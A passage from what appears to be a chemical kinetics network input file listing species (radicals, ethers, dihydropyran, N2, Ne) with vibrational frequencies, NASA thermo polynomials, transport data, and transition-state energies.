HinderedRotor(inertia=(0.00438699,'amu*angstrom^2'), symmetry=1, barrier=(26.7685,'kJ/mol'), semiclassical=False),
],
spinMultiplicity = 3,
opticalIsomers = 1,
molecularWeight = (28.0532,'amu'),
energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85),
thermo = NASA(polynomials=[NASAPolynomial(coeffs=[3.82363,-0.000909515,3.2138e-05,-3.7348e-08,1.3309e-11,41371.4,7.10948], Tmin=(100,'K'), Tmax=(960.812,'K')), NASAPolynomial(coeffs=[4.30487,0.00943069,-3.27559e-06,5.95121e-10,-4.27307e-14,40709.1,1.84202], Tmin=(960.812,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(343.893,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(128.874,'J/(mol*K)'), label="""CHCH3(T)""", comment="""Thermo library: DFT_QCI_thermo"""),
)
species(
label = 'C=C[CH]C(C)[O](3162)',
structure = SMILES('C=C[CH]C(C)[O]'),
E0 = (134.505,'kJ/mol'),
modes = [
HarmonicOscillator(frequencies=([1380,1390,370,380,2900,435,3025,407.5,1350,352.5,2950,3100,1380,975,1025,1650,3010,987.5,1337.5,450,1655,2750,2800,2850,1350,1500,750,1050,1375,1000,384.942,384.942,384.943],'cm^-1')),
HinderedRotor(inertia=(0.253012,'amu*angstrom^2'), symmetry=1, barrier=(26.6048,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.253012,'amu*angstrom^2'), symmetry=1, barrier=(26.6048,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.253012,'amu*angstrom^2'), symmetry=1, barrier=(26.6048,'kJ/mol'), semiclassical=False),
],
spinMultiplicity = 3,
opticalIsomers = 1,
molecularWeight = (84.1164,'amu'),
energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85),
thermo = NASA(polynomials=[NASAPolynomial(coeffs=[1.09655,0.0540352,-2.42723e-05,-6.88289e-09,6.2884e-12,16290.2,22.111], Tmin=(100,'K'), Tmax=(1040.9,'K')), NASAPolynomial(coeffs=[13.895,0.0243842,-9.68902e-06,1.80337e-09,-1.27382e-13,12567.8,-45.2296], Tmin=(1040.9,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(134.505,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(320.107,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(O2s-CsH) + group(Cs-CsCsOsH) + group(Cs-(Cds-Cds)CsHH) + group(Cs-CsHHH) + group(Cds-CdsCsH) + group(Cds-CdsHH) + radical(CC(C)OJ) + radical(C=CCJCO)"""),
)
species(
label = '[CH]=C[CH2](321)',
structure = SMILES('[CH]C=C'),
E0 = (376.654,'kJ/mol'),
modes = [
HarmonicOscillator(frequencies=([3010,987.5,1337.5,450,1655,2950,3100,1380,975,1025,1650,229.711,230.18,230.787],'cm^-1')),
HinderedRotor(inertia=(1.33306,'amu*angstrom^2'), symmetry=1, barrier=(50.5153,'kJ/mol'), semiclassical=False),
],
spinMultiplicity = 3,
opticalIsomers = 1,
molecularWeight = (40.0639,'amu'),
energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85),
thermo = NASA(polynomials=[NASAPolynomial(coeffs=[3.31912,0.00817959,3.34736e-05,-4.36194e-08,1.58213e-11,45331.5,10.6389], Tmin=(100,'K'), Tmax=(983.754,'K')), NASAPolynomial(coeffs=[5.36755,0.0170743,-6.35108e-06,1.1662e-09,-8.2762e-14,44095,-3.44606], Tmin=(983.754,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(376.654,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(203.705,'J/(mol*K)'), comment="""Thermo library: DFT_QCI_thermo + radical(AllylJ2_triplet)"""),
)
species(
label = 'C[CH]O[CH]C(3586)',
structure = SMILES('C[CH]O[CH]C'),
E0 = (87.5391,'kJ/mol'),
modes = [
HarmonicOscillator(frequencies=([2750,2770,2790,2810,2830,2850,1350,1400,1450,1500,700,800,1000,1100,1350,1400,900,1100,3000,3050,390,425,1340,1360,335,370,309.381,309.385,309.388],'cm^-1')),
HinderedRotor(inertia=(0.00176209,'amu*angstrom^2'), symmetry=1, barrier=(0.119627,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.189248,'amu*angstrom^2'), symmetry=1, barrier=(12.8422,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.189124,'amu*angstrom^2'), symmetry=1, barrier=(12.8416,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.188973,'amu*angstrom^2'), symmetry=1, barrier=(12.8424,'kJ/mol'), semiclassical=False),
],
spinMultiplicity = 3,
opticalIsomers = 1,
molecularWeight = (72.1057,'amu'),
energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85),
thermo = NASA(polynomials=[NASAPolynomial(coeffs=[1.10245,0.0618091,-6.3831e-05,3.5455e-08,-7.88959e-12,10634.5,19.5849], Tmin=(100,'K'), Tmax=(1091.38,'K')), NASAPolynomial(coeffs=[12.1588,0.0212864,-8.13614e-06,1.43372e-09,-9.63813e-14,8221.2,-34.7223], Tmin=(1091.38,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(87.5391,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(291.007,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(O2s-CsCs) + group(Cs-CsOsHH) + group(Cs-CsOsHH) + group(Cs-CsHHH) + group(Cs-CsHHH) + radical(CCsJOCs) + radical(CCsJOCs)"""),
)
species(
label = '[CH2][CH]C1C(C)OC1C(3830)',
structure = SMILES('[CH2][CH]C1C(C)OC1C'),
E0 = (174.021,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
molecularWeight = (112.17,'amu'),
energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85),
thermo = NASA(polynomials=[NASAPolynomial(coeffs=[0.715198,0.0578901,1.44284e-05,-5.97178e-08,2.81082e-11,21061.3,29.5339], Tmin=(100,'K'), Tmax=(925.275,'K')), NASAPolynomial(coeffs=[14.0021,0.0371761,-1.15292e-05,1.88222e-09,-1.2599e-13,17030.4,-42.0314], Tmin=(925.275,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(174.021,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(465.61,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(O2s-CsCs) + group(Cs-CsCsCsH) + group(Cs-CsCsOsH) + group(Cs-CsCsOsH) + group(Cs-CsCsHH) + group(Cs-CsHHH) + group(Cs-CsHHH) + group(Cs-CsHHH) + ring(Oxetane) + radical(RCCJ) + radical(Cs_S)"""),
)
species(
label = 'C[C]=CC(C)O[CH]C(3769)',
structure = SMILES('C[C]=CC(C)O[CH]C'),
E0 = (176.142,'kJ/mol'),
modes = [
HarmonicOscillator(frequencies=([1380,1390,370,380,2900,435,3025,407.5,1350,352.5,1685,370,3010,987.5,1337.5,450,1655,2750,2762.5,2775,2787.5,2800,2812.5,2825,2837.5,2850,1350,1380,1410,1440,1470,1500,700,750,800,1000,1050,1100,1350,1375,1400,900,1000,1100,200,800,1200,1600],'cm^-1')),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
],
spinMultiplicity = 3,
opticalIsomers = 1,
molecularWeight = (112.17,'amu'),
energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85),
thermo = NASA(polynomials=[NASAPolynomial(coeffs=[-0.0315203,0.0892071,-7.73261e-05,3.66213e-08,-7.24809e-12,21329.6,32.7109], Tmin=(100,'K'), Tmax=(1182.63,'K')), NASAPolynomial(coeffs=[13.6727,0.042855,-1.85343e-05,3.47916e-09,-2.41984e-13,18088.2,-35.7025], Tmin=(1182.63,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(176.142,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(457.296,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(O2s-CsCs) + group(Cs-(Cds-Cds)CsOsH) + group(Cs-CsOsHH) + group(Cs-CsHHH) + group(Cs-CsHHH) + group(Cs-(Cds-Cds)HHH) + group(Cds-CdsCsH) + group(Cds-CdsCsH) + radical(CCsJOCs) + radical(Cds_S)"""),
)
species(
label = 'C[CH]OC(C)[C]=CC(3767)',
structure = SMILES('C[CH]OC(C)[C]=CC'),
E0 = (176.142,'kJ/mol'),
modes = [
HarmonicOscillator(frequencies=([1380,1390,370,380,2900,435,3025,407.5,1350,352.5,1685,370,3010,987.5,1337.5,450,1655,2750,2762.5,2775,2787.5,2800,2812.5,2825,2837.5,2850,1350,1380,1410,1440,1470,1500,700,750,800,1000,1050,1100,1350,1375,1400,900,1000,1100,200,800,1200,1600],'cm^-1')),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
],
spinMultiplicity = 3,
opticalIsomers = 1,
molecularWeight = (112.17,'amu'),
energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85),
thermo = NASA(polynomials=[NASAPolynomial(coeffs=[-0.0315203,0.0892071,-7.73261e-05,3.66213e-08,-7.24809e-12,21329.6,32.7109], Tmin=(100,'K'), Tmax=(1182.63,'K')), NASAPolynomial(coeffs=[13.6727,0.042855,-1.85343e-05,3.47916e-09,-2.41984e-13,18088.2,-35.7025], Tmin=(1182.63,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(176.142,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(457.296,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(O2s-CsCs) + group(Cs-(Cds-Cds)CsOsH) + group(Cs-CsOsHH) + group(Cs-CsHHH) + group(Cs-CsHHH) + group(Cs-(Cds-Cds)HHH) + group(Cds-CdsCsH) + group(Cds-CdsCsH) + radical(CCsJOCs) + radical(Cds_S)"""),
)
species(
label = '[CH2]C=[C]C(C)OCC(3831)',
structure = SMILES('[CH2]C=[C]C(C)OCC'),
E0 = (147.185,'kJ/mol'),
modes = [
HarmonicOscillator(frequencies=([2750,2770,2790,2810,2830,2850,1350,1400,1450,1500,700,800,1000,1100,1350,1400,900,1100,1685,370,1380,1390,370,380,2900,435,3000,3100,440,815,1455,1000,3010,987.5,1337.5,450,1655,2750,2850,1437.5,1250,1305,750,350,200,800,1200,1600],'cm^-1')),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
],
spinMultiplicity = 3,
opticalIsomers = 1,
molecularWeight = (112.17,'amu'),
energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85),
thermo = NASA(polynomials=[NASAPolynomial(coeffs=[-0.00793185,0.0829089,-6.04027e-05,2.26745e-08,-3.50278e-12,17850.5,33.4619], Tmin=(100,'K'), Tmax=(1490.7,'K')), NASAPolynomial(coeffs=[16.276,0.0392141,-1.6435e-05,3.01133e-09,-2.05112e-13,12995.6,-51.5996], Tmin=(1490.7,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(147.185,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(457.296,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(O2s-CsCs) + group(Cs-(Cds-Cds)CsOsH) + group(Cs-CsOsHH) + group(Cs-CsHHH) + group(Cs-CsHHH) + group(Cs-(Cds-Cds)HHH) + group(Cds-CdsCsH) + group(Cds-CdsCsH) + radical(Allyl_P) + radical(Cds_S)"""),
)
species(
label = 'C[CH]O[C](C)C=CC(3764)',
structure = SMILES('C[CH]C=C(C)O[CH]C'),
E0 = (49.0705,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
molecularWeight = (112.17,'amu'),
energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85),
thermo = NASA(polynomials=[NASAPolynomial(coeffs=[-0.640108,0.0891297,-6.12361e-05,1.18108e-08,2.87524e-12,6080.09,30.4291], Tmin=(100,'K'), Tmax=(1033.24,'K')), NASAPolynomial(coeffs=[20.3276,0.0315903,-1.20135e-05,2.18895e-09,-1.53071e-13,485.628,-77.5184], Tmin=(1033.24,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(49.0705,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(457.296,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(O2s-Cs(Cds-Cd)) + group(Cs-(Cds-Cds)CsHH) + group(Cs-CsOsHH) + group(Cs-CsHHH) + group(Cs-CsHHH) + group(Cs-(Cds-Cds)HHH) + group(Cds-CdsCsOs) + group(Cds-CdsCsH) + radical(CCsJOC(O)) + radical(Allyl_S)"""),
)
species(
label = '[CH2]C(C=CC)O[CH]C(2304)',
structure = SMILES('[CH2]C(C=CC)O[CH]C'),
E0 = (148.81,'kJ/mol'),
modes = [
HarmonicOscillator(frequencies=([1380,1390,370,380,2900,435,3025,407.5,1350,352.5,3000,3100,440,815,1455,1000,2995,3025,975,1000,1300,1375,400,500,1630,1680,2750,2770,2790,2810,2830,2850,1350,1400,1450,1500,700,800,1000,1100,1350,1400,900,1100,200,800,1200,1600],'cm^-1')),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
],
spinMultiplicity = 3,
opticalIsomers = 1,
molecularWeight = (112.17,'amu'),
collisionModel = TransportData(shapeIndex=2, epsilon=(3603.64,'J/mol'), sigma=(6.47245,'angstroms'), dipoleMoment=(0,'C*m'), polarizability=(0,'angstroms^3'), rotrelaxcollnum=0, comment="""Epsilon & sigma estimated with Tc=562.88 K, Pc=30.16 bar (from Joback method)"""),
energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85),
thermo = NASA(polynomials=[NASAPolynomial(coeffs=[-0.366291,0.0974918,-9.62082e-05,5.20847e-08,-1.16087e-11,18053.8,33.1965], Tmin=(100,'K'), Tmax=(1070.7,'K')), NASAPolynomial(coeffs=[14.5818,0.0416478,-1.79736e-05,3.37249e-09,-2.3478e-13,14852.8,-39.9407], Tmin=(1070.7,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(148.81,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(457.296,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(O2s-CsCs) + group(Cs-(Cds-Cds)CsOsH) + group(Cs-CsOsHH) + group(Cs-CsHHH) + group(Cs-CsHHH) + group(Cs-(Cds-Cds)HHH) + group(Cds-CdsCsH) + group(Cds-CdsCsH) + radical(CCsJOCs) + radical(CJC(C)OC)"""),
)
species(
label = '[CH2][CH]OC(C)C=CC(3770)',
structure = SMILES('[CH2][CH]OC(C)C=CC'),
E0 = (149.889,'kJ/mol'),
modes = [
HarmonicOscillator(frequencies=([1380,1390,370,380,2900,435,3025,407.5,1350,352.5,3000,3100,440,815,1455,1000,2995,3025,975,1000,1300,1375,400,500,1630,1680,2750,2770,2790,2810,2830,2850,1350,1400,1450,1500,700,800,1000,1100,1350,1400,900,1100,200,800,1200,1600],'cm^-1')),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
],
spinMultiplicity = 3,
opticalIsomers = 1,
molecularWeight = (112.17,'amu'),
energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85),
thermo = NASA(polynomials=[NASAPolynomial(coeffs=[-0.355725,0.0922259,-8.08084e-05,3.75408e-08,-7.11925e-12,18187.2,34.0329], Tmin=(100,'K'), Tmax=(1250.86,'K')), NASAPolynomial(coeffs=[16.5784,0.0380741,-1.58711e-05,2.93153e-09,-2.02187e-13,13950.7,-51.4551], Tmin=(1250.86,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(149.889,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(457.296,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(O2s-CsCs) + group(Cs-(Cds-Cds)CsOsH) + group(Cs-CsOsHH) + group(Cs-CsHHH) + group(Cs-CsHHH) + group(Cs-(Cds-Cds)HHH) + group(Cds-CdsCsH) + group(Cds-CdsCsH) + radical(CJCO) + radical(CCsJOCs)"""),
)
species(
label = 'C=COC(C)C=CC(3776)',
structure = SMILES('C=COC(C)C=CC'),
E0 = (-154.29,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
molecularWeight = (112.17,'amu'),
energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85),
thermo = NASA(polynomials=[NASAPolynomial(coeffs=[-0.224767,0.0718746,-7.51271e-07,-5.87491e-08,2.98301e-11,-18385.7,31.1801], Tmin=(100,'K'), Tmax=(962.241,'K')), NASAPolynomial(coeffs=[23.0736,0.0259156,-8.43997e-06,1.54149e-09,-1.14178e-13,-25225.4,-92.5665], Tmin=(962.241,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(-154.29,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(461.453,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(O2s-Cs(Cds-Cd)) + group(Cs-(Cds-Cds)CsOsH) + group(Cs-CsHHH) + group(Cs-(Cds-Cds)HHH) + group(Cds-CdsCsH) + group(Cds-CdsCsH) + group(Cds-CdsOsH) + group(Cds-CdsHH)"""),
)
species(
label = 'CC1C=CCC(C)O1(2305)',
structure = SMILES('CC1C=CCC(C)O1'),
E0 = (-198.986,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
molecularWeight = (112.17,'amu'),
energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85),
thermo = NASA(polynomials=[NASAPolynomial(coeffs=[0.905611,0.0441047,6.69373e-05,-1.19665e-07,4.97254e-11,-23799.2,23.5039], Tmin=(100,'K'), Tmax=(946.16,'K')), NASAPolynomial(coeffs=[17.9393,0.0323207,-9.86314e-06,1.72557e-09,-1.25577e-13,-29718.4,-71.9773], Tmin=(946.16,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(-198.986,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(473.925,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(O2s-CsCs) + group(Cs-CsCsOsH) + group(Cs-(Cds-Cds)CsOsH) + group(Cs-(Cds-Cds)CsHH) + group(Cs-CsHHH) + group(Cs-CsHHH) + group(Cds-CdsCsH) + group(Cds-CdsCsH) + ring(36dihydro2hpyran)"""),
)
species(
label = 'CH2(T)(33)',
structure = SMILES('[CH2]'),
E0 = (381.08,'kJ/mol'),
modes = [
HarmonicOscillator(frequencies=([971.045,2816.03,3444.23],'cm^-1')),
],
spinMultiplicity = 3,
opticalIsomers = 1,
molecularWeight = (14.0266,'amu'),
collisionModel = TransportData(shapeIndex=2, epsilon=(1197.29,'J/mol'), sigma=(3.8,'angstroms'), dipoleMoment=(0,'C*m'), polarizability=(0,'angstroms^3'), rotrelaxcollnum=0.0, comment="""GRI-Mech"""),
energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85),
thermo = NASA(polynomials=[NASAPolynomial(coeffs=[3.71758,0.00127391,2.17347e-06,-3.48858e-09,1.65209e-12,45872.4,1.75298], Tmin=(200,'K'), Tmax=(1000,'K')), NASAPolynomial(coeffs=[3.14632,0.00303671,-9.96474e-07,1.50484e-10,-8.57336e-15,46041.3,4.72342], Tmin=(1000,'K'), Tmax=(6000,'K'))], Tmin=(200,'K'), Tmax=(6000,'K'), E0=(381.08,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(58.2013,'J/(mol*K)'), label="""CH2(T)""", comment="""Thermo library: FFCM1(-)"""),
)
species(
label = '[CH]=CC(C)O[CH]C(3832)',
structure = SMILES('[CH]=CC(C)O[CH]C'),
E0 = (221.422,'kJ/mol'),
modes = [
HarmonicOscillator(frequencies=([1380,1390,370,380,2900,435,3025,407.5,1350,352.5,3120,650,792.5,1650,3010,987.5,1337.5,450,1655,2750,2770,2790,2810,2830,2850,1350,1400,1450,1500,700,800,1000,1100,1350,1400,900,1100,200,800,1600],'cm^-1')),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
],
spinMultiplicity = 3,
opticalIsomers = 1,
molecularWeight = (98.143,'amu'),
energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85),
thermo = NASA(polynomials=[NASAPolynomial(coeffs=[0.112798,0.0779437,-6.72043e-05,2.99661e-08,-5.35848e-12,26777.1,30.3184], Tmin=(100,'K'), Tmax=(1339.63,'K')), NASAPolynomial(coeffs=[16.9371,0.0277067,-1.09518e-05,1.9713e-09,-1.33982e-13,22269.5,-55.7679], Tmin=(1339.63,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(221.422,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(386.623,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(O2s-CsCs) + group(Cs-(Cds-Cds)CsOsH) + group(Cs-CsOsHH) + group(Cs-CsHHH) + group(Cs-CsHHH) + group(Cds-CdsCsH) + group(Cds-CdsHH) + radical(CCsJOCs) + radical(Cds_P)"""),
)
species(
label = 'N2',
structure = SMILES('N#N'),
E0 = (-8.69489,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
molecularWeight = (28.0135,'amu'),
collisionModel = TransportData(shapeIndex=1, epsilon=(810.913,'J/mol'), sigma=(3.621,'angstroms'), dipoleMoment=(0,'C*m'), polarizability=(1.76,'angstroms^3'), rotrelaxcollnum=4.0, comment="""PrimaryTransportLibrary"""),
energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85),
thermo = NASA(polynomials=[NASAPolynomial(coeffs=[3.61263,-0.00100893,2.49898e-06,-1.43376e-09,2.58636e-13,-1051.1,2.6527], Tmin=(100,'K'), Tmax=(1817.04,'K')), NASAPolynomial(coeffs=[2.9759,0.00164141,-7.19722e-07,1.25378e-10,-7.91526e-15,-1025.84,5.53757], Tmin=(1817.04,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(-8.69489,'kJ/mol'), Cp0=(29.1007,'J/(mol*K)'), CpInf=(37.4151,'J/(mol*K)'), label="""N2""", comment="""Thermo library: BurkeH2O2"""),
)
species(
label = 'Ne',
structure = SMILES('[Ne]'),
E0 = (-6.19738,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
molecularWeight = (20.1797,'amu'),
collisionModel = TransportData(shapeIndex=0, epsilon=(1235.53,'J/mol'), sigma=(3.758e-10,'m'), dipoleMoment=(0,'C*m'), polarizability=(0,'angstroms^3'), rotrelaxcollnum=0, comment="""Epsilon & sigma estimated with fixed Lennard Jones Parameters. This is the fallback method! Try improving transport databases!"""),
energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85),
thermo = NASA(polynomials=[NASAPolynomial(coeffs=[2.5,0,0,0,0,-745.375,3.35532], Tmin=(200,'K'), Tmax=(1000,'K')), NASAPolynomial(coeffs=[2.5,0,0,0,0,-745.375,3.35532], Tmin=(1000,'K'), Tmax=(6000,'K'))], Tmin=(200,'K'), Tmax=(6000,'K'), E0=(-6.19738,'kJ/mol'), Cp0=(20.7862,'J/(mol*K)'), CpInf=(20.7862,'J/(mol*K)'), label="""Ne""", comment="""Thermo library: primaryThermoLibrary"""),
)
transitionState(
label = 'TS1',
E0 = (69.8904,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
)
transitionState(
label = 'TS2',
E0 = (100.754,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
)
transitionState(
label = 'TS3',
E0 = (241.483,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
)
transitionState(
label = 'TS4',
E0 = (193.461,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
)
transitionState(
label = 'TS5',
E0 = (342.512,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
)
transitionState(
label = 'TS6',
E0 = (97.1854,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
)
transitionState(
label = 'TS7',
E0 = (223.155,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
)
transitionState(
label = 'TS8',
E0 = (255.307,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
)
transitionState(
label = 'TS9',
E0 = (259.387,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
)
transitionState(
label = 'TS10',
E0 = (391.012,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
)
transitionState(
label = 'TS11',
E0 = (227.624,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
)
transitionState(
label = 'TS12',
E0 = (282.728,'kJ/mol'),
